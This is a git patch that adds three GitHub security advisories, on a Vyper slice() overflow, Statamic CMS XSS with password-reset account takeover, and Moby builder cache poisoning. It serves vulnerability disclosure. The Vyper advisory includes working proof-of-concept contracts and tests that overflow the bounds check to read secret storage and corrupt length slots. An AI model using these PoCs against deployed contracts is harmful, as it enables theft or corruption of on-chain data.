From 21c1055025330d54e7ef23df5cf240126b82c3b6 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 1 Feb 2024 20:52:40 +0000 Subject: [PATCH] Publish Advisories GHSA-9x7f-gwxq-6f2c GHSA-vqxq-hvxw-9mv9 GHSA-xw73-rw38-6vjc --- .../GHSA-9x7f-gwxq-6f2c.json | 69 ++++++++++++++ .../GHSA-vqxq-hvxw-9mv9.json | 81 ++++++++++++++++ .../GHSA-xw73-rw38-6vjc.json | 93 +++++++++++++++++++ 3 files changed, 243 insertions(+) create mode 100644 advisories/github-reviewed/2024/02/GHSA-9x7f-gwxq-6f2c/GHSA-9x7f-gwxq-6f2c.json create mode 100644 advisories/github-reviewed/2024/02/GHSA-vqxq-hvxw-9mv9/GHSA-vqxq-hvxw-9mv9.json create mode 100644 advisories/github-reviewed/2024/02/GHSA-xw73-rw38-6vjc/GHSA-xw73-rw38-6vjc.json diff --git a/advisories/github-reviewed/2024/02/GHSA-9x7f-gwxq-6f2c/GHSA-9x7f-gwxq-6f2c.json b/advisories/github-reviewed/2024/02/GHSA-9x7f-gwxq-6f2c/GHSA-9x7f-gwxq-6f2c.json new file mode 100644 index 00000000000..c80abc38ab8 --- /dev/null +++ b/advisories/github-reviewed/2024/02/GHSA-9x7f-gwxq-6f2c/GHSA-9x7f-gwxq-6f2c.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-9x7f-gwxq-6f2c", + "modified": "2024-02-01T20:51:32Z", + "published": "2024-02-01T20:51:32Z", + "aliases": [ + "CVE-2024-24561" + ], + "summary": "Vyper's bounds check on built-in `slice()` function can be overflowed", + "details": "## Summary\n\n[The bounds check for slices](https://github.com/vyperlang/vyper/blob/b01cd686aa567b32498fefd76bd96b0597c6f099/vyper/builtins/functions.py#L404-L457) does not account for the ability for `start + length` to overflow when the values aren't literals. \n\nIf a `slice()` function uses a non-literal argument for the `start` or `length` variable, this creates the ability for an attacker to overflow the bounds check. \n\nThis issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the `length` slot of the respective array.\n\nA contract search was performed and no vulnerable contracts were found in production.\n\ntracking in issue https://github.com/vyperlang/vyper/issues/3756.\n\n## Details\nHere the flow for `storage` is supposed, but it is generalizable also for the other locations.\n\nWhen calling `slice()` on a storage value, there are compile time bounds checks if the `start` and `length` values are literals, but of course this cannot happen if they are passed values:\n\n```python\nif not is_adhoc_slice:\n if length_literal is not None:\n if length_literal < 1:\n raise ArgumentException(\"Length cannot be less than 1\", length_expr)\n\n if length_literal > arg_type.length:\n raise ArgumentException(f\"slice out of bounds for {arg_type}\", length_expr)\n\n if start_literal is not None:\n if start_literal > arg_type.length:\n raise ArgumentException(f\"slice out of bounds for {arg_type}\", start_expr)\n if length_literal is not None and start_literal + length_literal > arg_type.length:\n raise ArgumentException(f\"slice out of bounds for {arg_type}\", node)\n```\n\nAt runtime, we perform the following equivalent check, but the runtime check does not account for overflows:\n```python\n[\"assert\", [\"le\", [\"add\", start, length], src_len]], # bounds check\n```\n\nThe storage `slice()` function copies bytes directly from storage into memory and returns the memory value of the resulting slice. This means that, if a user is able to input the `start` or `length` value, they can force an overflow and access an unrelated storage slot.\n\nIn most cases, this will mean they have the ability to forcibly return `0` for the slice, even if this shouldn't be possible. In extreme cases, it will mean they can return another unrelated value from storage.\n\n## POC: OOB access\n\nFor simplicity, take the following Vyper contract, which takes an argument to determine where in a `Bytes[64]` bytestring should be sliced. It should only accept a value of zero, and should revert in all other cases.\n\n```python\n# @version ^0.3.9\n\nx: public(Bytes[64])\nsecret: uint256\n\n@external\ndef __init__():\n self.x = empty(Bytes[64])\n self.secret = 42\n\n@external\ndef slice_it(start: uint256) -> Bytes[64]:\n return slice(self.x, start, 64)\n```\n\nWe can use the following manual storage to demonstrate the vulnerability:\n```json\n{\"x\": {\"type\": \"bytes32\", \"slot\": 0}, \"secret\": {\"type\": \"uint256\", \"slot\": 3618502788666131106986593281521497120414687020801267626233049500247285301248}}\n```\n\nIf we run the following test, passing `max - 63` as the `start` value, we will overflow the bounds check, but access the storage slot at `1 + (2**256 - 63) / 32`, which is what was set in the above storage layout:\n```solidity\nfunction test__slice_error() public {\n c = SuperContract(deployer.deploy_with_custom_storage(\"src/loose/\", \"slice_error\", \"slice_error_storage\"));\n bytes memory result = c.slice_it(115792089237316195423570985008687907853269984665640564039457584007913129639872); // max - 63\n console.logBytes(result);\n}\n```\n\nThe result is that we return the secret value from storage:\n```\nLogs:\n0x0000...00002a\n```\n## POC: `length` corruption\n`OOG` exception doesn't have to be raised - because of the overflow, only a few bytes can be copied, but the `length` slot is set with the original input value.\n\n```python\nd: public(Bytes[256])\n\t\n@external\ndef test():\n\tx : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256-1\n\tself.d = b\"\\x01\\x02\\x03\\x04\\x05\\x06\"\n\t# s : Bytes[256] = slice(self.d, 1, x)\n\tassert len(slice(self.d, 1, x))==115792089237316195423570985008687907853269984665640564039457584007913129639935\n```\nThe corruption of `length` can be then used to read dirty memory:\n```python\n@external\ndef test():\n x: uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256 - 1\n y: uint256 = 22704331223003175573249212746801550559464702875615796870481879217237868556850 # 0x3232323232323232323232323232323232323232323232323232323232323232\n z: uint96 = 1\n if True:\n placeholder : uint256[16] = [y, y, y, y, y, y, y, y, y, y, y, y, y, y, y, y]\n s :String[32] = slice(uint2str(z), 1, x)\t# uint2str(z) == \"1\"\n #print(len(s))\n assert slice(s, 1, 2) == \"22\"\n```\n\n## Impact\n\nThe built-in `slice()` method can be used for OOB accesses or the corruption of the `length` slot.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "vyper" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.3.10" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/vyperlang/vyper/security/advisories/GHSA-9x7f-gwxq-6f2c" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24561" + }, + { + "type": "WEB", + "url": "https://github.com/vyperlang/vyper/issues/3756" + }, + { + "type": "PACKAGE", + "url": "https://github.com/vyperlang/vyper" + }, + { + "type": "WEB", + "url": "https://github.com/vyperlang/vyper/blob/b01cd686aa567b32498fefd76bd96b0597c6f099/vyper/builtins/functions.py#L404-L457" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-119" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2024-02-01T20:51:32Z", + "nvd_published_at": "2024-02-01T17:15:11Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/02/GHSA-vqxq-hvxw-9mv9/GHSA-vqxq-hvxw-9mv9.json b/advisories/github-reviewed/2024/02/GHSA-vqxq-hvxw-9mv9/GHSA-vqxq-hvxw-9mv9.json new file mode 100644 index 00000000000..537fc912c91 --- /dev/null +++ b/advisories/github-reviewed/2024/02/GHSA-vqxq-hvxw-9mv9/GHSA-vqxq-hvxw-9mv9.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vqxq-hvxw-9mv9", + "modified": "2024-02-01T20:51:46Z", + "published": "2024-02-01T20:51:46Z", + "aliases": [ + "CVE-2024-24570" + ], + "summary": "Statmic CMS vulnerable to account takeover via XSS and password reset link", + "details": "### Impact\n\nHTML files crafted to look like jpg files are able to be uploaded, allowing for XSS.\n\nThis affects:\n\n- front-end forms with asset fields without any mime type validation\n- asset fields in the control panel\n- asset browser in the control panel\n\nAdditionally, if the XSS is crafted in a specific way, the \"copy password reset link\" feature may be exploited to gain access to a user's password reset token and gain access to their account. The authorized user is required to execute the XSS in order for the vulnerability to occur.\n\n### Patches\n\nIn versions 4.46.0 and 3.4.17, the XSS vulnerability has been patched, and the copy password reset link functionality has been disabled. (Users may still trigger password reset emails.)\n\n### Credits\n\nStatamic thanks Niklas Schilling (discovery, analysis, coordination) from the SEC Consult Vulnerability Lab (https://www.sec-consult.com/) for responsibly reporting the identified issues and working with us as we addressed them.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "statamic/cms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.00" + }, + { + "fixed": "4.46.0" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "statamic/cms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.4.17" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/statamic/cms/security/advisories/GHSA-vqxq-hvxw-9mv9" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24570" + }, + { + "type": "PACKAGE", + "url": "https://github.com/statamic/cms" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79", + "CWE-80" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-02-01T20:51:46Z", + "nvd_published_at": "2024-02-01T17:15:11Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/02/GHSA-xw73-rw38-6vjc/GHSA-xw73-rw38-6vjc.json b/advisories/github-reviewed/2024/02/GHSA-xw73-rw38-6vjc/GHSA-xw73-rw38-6vjc.json new file mode 100644 index 00000000000..3f443675056 --- /dev/null +++ b/advisories/github-reviewed/2024/02/GHSA-xw73-rw38-6vjc/GHSA-xw73-rw38-6vjc.json @@ -0,0 +1,93 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-xw73-rw38-6vjc", + "modified": "2024-02-01T20:51:19Z", + "published": "2024-02-01T20:51:19Z", + "aliases": [ + "CVE-2024-24557" + ], + "summary": "Moby vulnerable to classic builder cache poisoning", + "details": "The classic builder cache system is prone to cache poisoning if the image is built `FROM scratch`.\nAlso, changes to some instructions (most important being `HEALTHCHECK` and `ONBUILD`) would not cause a cache miss.\n\n\nAn attacker with the knowledge of the Dockerfile someone is using could poison their cache by making them pull a specially crafted image that would be considered as a valid cache candidate for some build steps.\n\nFor example, an attacker could create an image that is considered as a valid cache candidate for:\n```\nFROM scratch\nMAINTAINER Pawel\n```\n\nwhen in fact the malicious image used as a cache would be an image built from a different Dockerfile.\n\nIn the second case, the attacker could for example substitute a different `HEALTCHECK` command.\n\n\n### Impact\n\n23.0+ users are only affected if they explicitly opted out of Buildkit (`DOCKER_BUILDKIT=0` environment variable) or are using the `/build` API endpoint (which uses the classic builder by default).\n\nAll users on versions older than 23.0 could be impacted. An example could be a CI with a shared cache, or just a regular Docker user pulling a malicious image due to misspelling/typosquatting.\n\nImage build API endpoint (`/build`) and `ImageBuild` function from `github.com/docker/docker/client` is also affected as it the uses classic builder by default. \n\n\n### Patches\n\nPatches are included in Moby releases:\n\n- v25.0.2\n- v24.0.9\n\n### Workarounds\n\n- Use `--no-cache` or use Buildkit if possible (`DOCKER_BUILDKIT=1`, it's default on 23.0+ assuming that the buildx plugin is installed).\n- Use `Version = types.BuilderBuildKit` or `NoCache = true` in `ImageBuildOptions` for `ImageBuild` call.\n\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/moby/moby" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "25.0.0" + }, + { + "fixed": "25.0.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/moby/moby" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "24.0.9" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/moby/moby/security/advisories/GHSA-xw73-rw38-6vjc" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24557" + }, + { + "type": "WEB", + "url": "https://github.com/moby/moby/commit/3e230cfdcc989dc524882f6579f9e0dac77400ae" + }, + { + "type": "WEB", + "url": "https://github.com/moby/moby/commit/fca702de7f71362c8d103073c7e4a1d0a467fadd" + }, + { + "type": "WEB", + "url": "https://github.com/moby/moby/commit/fce6e0ca9bc000888de3daa157af14fa41fcd0ff" + }, + { + "type": "PACKAGE", + "url": "https://github.com/moby/moby" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-345", + "CWE-346" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-02-01T20:51:19Z", + "nvd_published_at": "2024-02-01T17:15:10Z" + } +} \ No newline at end of file